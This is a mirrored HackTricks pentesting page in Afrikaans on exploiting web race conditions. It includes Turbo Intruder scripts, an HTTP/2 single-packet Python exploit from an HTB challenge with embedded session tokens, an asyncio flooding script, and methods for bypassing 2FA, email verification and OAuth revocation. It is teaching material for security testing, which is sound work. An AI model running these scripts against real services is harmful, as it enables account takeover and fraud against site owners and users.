Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/race-condition.md

22 KiB
Raw Blame History

Wedloop Toestand


Gebruik Trickest om maklik en outomatiseer werkstrome te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Toegang Vandag:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS hakwerk van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

{% hint style="warning" %} Vir 'n dieper begrip van hierdie tegniek, kyk na die oorspronklike verslag by https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Verbetering van Wedloop Toestand Aanvalle

Die grootste struikelblok om voordeel te trek uit wedloop toestande is om seker te maak dat meervoudige versoek op dieselfde tyd hanteer word, met baie min verskil in hul verwerkingstye—ideaal gesproke, minder as 1ms.

Hier kan jy 'n paar tegnieke vir Sinchronisering van Versoeke vind:

HTTP/2 Enkel-Pakket Aanval teenoor HTTP/1.1 Laaste-Byte Sinchronisering

  • HTTP/2: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerkfluktuerings verminder. Tog, as gevolg van serverkant variasies, mag twee versoeke nie voldoende wees vir 'n konsekwente wedloop toestand aanval nie.
  • HTTP/1.1 'Laaste-Byte Sinchronisering': Maak die vooraf stuur van die meeste dele van 20-30 versoeke moontlik, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik.

Voorbereiding vir Laaste-Byte Sinchronisering behels:

  1. Stuur koppe en liggaamdata minus die finale byte sonder om die stroom te beëindig.
  2. Pauzeer vir 100ms na die aanvanklike stuur.
  3. Deaktiveer TCP_NODELAY om Nagle se algoritme te gebruik vir die groepering van finale rame.
  4. Ping om die verbinding op te warm.

Die daaropvolgende stuur van terughou rame behoort in hul aankoms in 'n enkele pakket te resulteer, wat verifieer kan word via Wireshark. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie.

Aanpassing aan Bedienerargitektuur

Die begrip van die teiken se argitektuur is krities. Front-end bedieners mag versoek anders roeteer, wat die tydsberekening beïnvloed. Voorsorgmaatreëls vir vooraf bedienerkant verwarming deur onbeduidende versoeke mag versoektydsberekening normaliseer.

Hantering van Sessie-Gebaseerde Sluiting

Raamwerke soos PHP se sessiehanterer serializeer versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.

Oorkom van Tarief- of Hulpbrongrense

As verbindingverwarming ondoeltreffend is, kan die opsetlike aktivering van webbedieners se tarief- of hulpbrongrensvertragings deur 'n vloed van dummieversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerkantvertraging te veroorsaak wat bevorderlik is vir wedloop toestande.

Aanval Voorbeelde

  • Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt): Jy kan die versoek na Turbo intruder stuur (Uitbreidings -> Turbo Intruder -> Stuur na Turbo Intruder), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir %s verander soos in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s en kies dan die examples/race-single-packer-attack.py van die keuslys:

As jy van plan is om verskillende waardes te stuur, kan jy die kode wysig met hierdie een wat 'n woordelys van die knipbord gebruik:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} As die web nie HTTP2 ondersteun nie (slegs HTTP1.1), gebruik Engine.THREADED of Engine.BURP in plaas van Engine.BURP2. {% endhint %}

  • Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte): Indien jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te aktiveer, kan jy die race-single-packet-attack.py skrip verander met iets soos:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Dit is ook beskikbaar in Herhaling via die nuwe 'Stuur groep in parallel' opsie in Burp Suite.
  • Vir limiet-oorskryding kan jy net die selfde versoek 50 keer in die groep byvoeg.
  • Vir verbindingsopwarming, kan jy aan die begin van die groep 'n paar versoeke byvoeg na 'n nie-statiese deel van die webbediener.
  • Vir die vertraging van die proses tussen die verwerking van een versoek en 'n ander in 2 subtoestandstappe, kan jy ekstra versoeke tussen beide versoeke byvoeg.
  • Vir 'n multi-eindpunt RC kan jy begin om die versoek te stuur wat na die verborge toestand gaan en dan 50 versoeke net daarna stuur wat die verborge toestand benut.
  • Geoutomatiseerde Python-skrip: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend geverifieer word totdat die verifikasietoken van die nuwe e-pos na die laaste e-pos arriveer (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verifikasie na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was).
    Wanneer die woord "objetivo" in die ontvangs e-posse gevind word, weet ons dat ons die verifikasietoken van die veranderde e-pos ontvang het en beëindig ons die aanval.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Rou BF

Voor die vorige navorsing was hierdie enkele lading wat gebruik is om net die pakkies so vinnig as moontlik te stuur om 'n RC te veroorsaak.

  • Herhaler: Kyk na die voorbeelde van die vorige afdeling.
  • Indringer: Stuur die versoek na Indringer, stel die aantal drade in op 30 binne die Opsies-menu, kies as lading Nul-lading en genereer 30.
  • Turbo Indringer
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Metodologie

Limiet-oorskryding / TOCTOU

Dit is die mees basiese tipe van 'n wedloopvoorwaarde waar kwesbaarhede voorkom op plekke wat die aantal kere wat jy 'n aksie kan uitvoer, beperk. Soos om dieselfde afslagkode verskeie kere in 'n aanlynwinkel te gebruik. 'n Baie maklike voorbeeld kan gevind word in hierdie verslag of in hierdie fout.

Daar is baie variasies van hierdie soort aanval, insluitend:

  • Die inwisseling van 'n geskenkkaart verskeie kere
  • Die beoordeling van 'n produk verskeie kere
  • Die onttrekking of oordrag van kontant bo jou rekeningsaldo
  • Die hergebruik van 'n enkele CAPTCHA-oplossing
  • Die omseil van 'n anti-brute-krag limiet

Versteekte subtoestande

Die uitbuiting van komplekse wedloopvoorwaardes behels dikwels die benutting van kort geleenthede om met versteekte of onbedoelde masjien subtoestande te interaksieer. Hier is hoe om dit aan te pak:

  1. Identifiseer Potensiële Versteekte Subtoestande
  • Begin deur eindpunte te identifiseer wat kritieke data wysig of daarmee interaksieer, soos gebruikersprofiele of wagwoordherstelprosesse. Fokus op:
  • Stoor: Gee voorkeur aan eindpunte wat bedienerkant volgehoue data manipuleer bo die wat data aan die kliëntkant hanteer.
  • Aksie: Soek na operasies wat bestaande data verander, wat meer geneig is om uitbuitbare toestande te skep in vergelyking met die wat nuwe data byvoeg.
  • Sleuteling: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv. gebruikersnaam of herstelteken.
  1. Voer Aanvanklike Ondersoek uit
  • Toets die geïdentifiseerde eindpunte met wedloopvoorwaarde aanvalle en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in aansoekgedrag kan 'n kwesbaarheid aandui.
  1. Wys die Kwesbaarheid
  • Beperk die aanval tot die minimale aantal versoek wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag weens die presiese tydsberekening betrokke, meervoudige pogings of outomatisering vereis.

Tydsensitiewe Aanvalle

Presisie in die tydsberekening van versoek kan kwesbaarhede aan die lig bring, veral wanneer voorspelbare metodes soos tydstempels gebruik word vir sekuriteitstokens. Byvoorbeeld, die genereer van wagwoordhersteltekens gebaseer op tydstempels kan identiese tekens vir gelyktydige versoek toelaat.

Om Uit te Buit:

  • Gebruik presiese tydsberekening, soos 'n enkele pakketaanval, om gelyktydige wagwoordherstelversoeke te maak. Identiese tekens dui op 'n kwesbaarheid.

Voorbeeld:

  • Versoek twee wagwoordhersteltekens op dieselfde tyd en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken generering.

Kyk na hierdie PortSwigger-lab om dit te probeer.

Versteekte subtoestande gevallestudies

Betaal & voeg 'n Item by

Kyk na hierdie PortSwigger-lab om te sien hoe om te betaal in 'n winkel en 'n ekstra item by te voeg wat jy nie vir hoef te betaal nie.

Bevestig ander e-posse

Die idee is om 'n e-posadres te verifieer en dit terselfdertyd na 'n ander een te verander om uit te vind of die platform die nuwe een verifieer het.

Verander e-pos na 2 e-posadresse op koekie-gebaseerde wyse

Volgens hierdie navorsing was Gitlab vatbaar vir 'n oorneem op hierdie manier omdat dit dalk die e-posverifikasietoken van een e-pos na die ander e-pos stuur.

Kyk na hierdie PortSwigger-lab om dit te probeer.

Versteekte Databasestatusse / Bevestiging omseil

As 2 verskillende skrywes gebruik word om inligting binne 'n databasis by te voeg, is daar 'n klein tydperk waar net die eerste data in die databasis geskryf is. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die gebruikersnaam en wagwoord geskryf word en dan die teken om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die teken om 'n rekening te bevestig nul is.

Daarom kan die registreer van 'n rekening en die stuur van verskeie versoek met 'n leë teken (teken= of teken[]= of enige ander variasie) om die rekening onmiddellik te bevestig, dit moontlik maak om 'n rekening te bevestig waar jy nie die e-pos beheer nie.

Kyk na hierdie PortSwigger-lab om dit te probeer.

Omseil 2FA

Die volgende pseudokode is vatbaar vir 'n wedloopvoorwaarde omdat in 'n baie kort tydperk die 2FA nie afgedwing word terwyl die sessie geskep word:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 ewige volharding

Daar is verskeie OAuth-verskaffers. Hierdie dienste sal jou toelaat om 'n aansoek te skep en gebruikers te verifieer wat deur die verskaffer geregistreer is. Om dit te doen, sal die kliënt jou aansoek moet **toelaat om toegang te verkry tot sommige van hul data binne die OAuth-verskaffer.
Dus, tot dusver net 'n gewone aanmelding met google/linkedin/github... waar jy geprompt word met 'n bladsy wat sê: "Aansoek <InsertCoolName> wil toegang tot jou inligting hê, wil jy dit toelaat?"

Race Voorwaarde in authorization_code

Die probleem ontstaan wanneer jy dit aanvaar en outomaties 'n authorization_code na die skadelike aansoek stuur. Dan misbruik hierdie aansoek 'n Race Voorwaarde in die OAuth-diensverskaffer om meer as een AT/RT (Authentication Token/Refresh Token) van die authorization_code vir jou rekening te genereer. Basies, dit sal misbruik maak van die feit dat jy die aansoek toegelaat het om toegang tot jou data te verkry om verskeie rekeninge te skep. Dan, as jy ophou om die aansoek toe te laat om toegang tot jou data te verkry, sal een paar AT/RT verwyder word, maar die ander een sal steeds geldig wees.

Race Voorwaarde in Refresh Token

Sodra jy 'n geldige RT het, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en selfs as die gebruiker die toestemmings** vir die skadelike aansoek om toegang tot sy data te verkry, kanselleer, sal verskeie RTs steeds geldig wees.

RC in WebSockets

In WS_RaceCondition_PoC kan jy 'n PoC in Java vind om websocket-boodskappe in parallel te stuur om ook Race Voorwaardes in WebSockets te misbruik.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}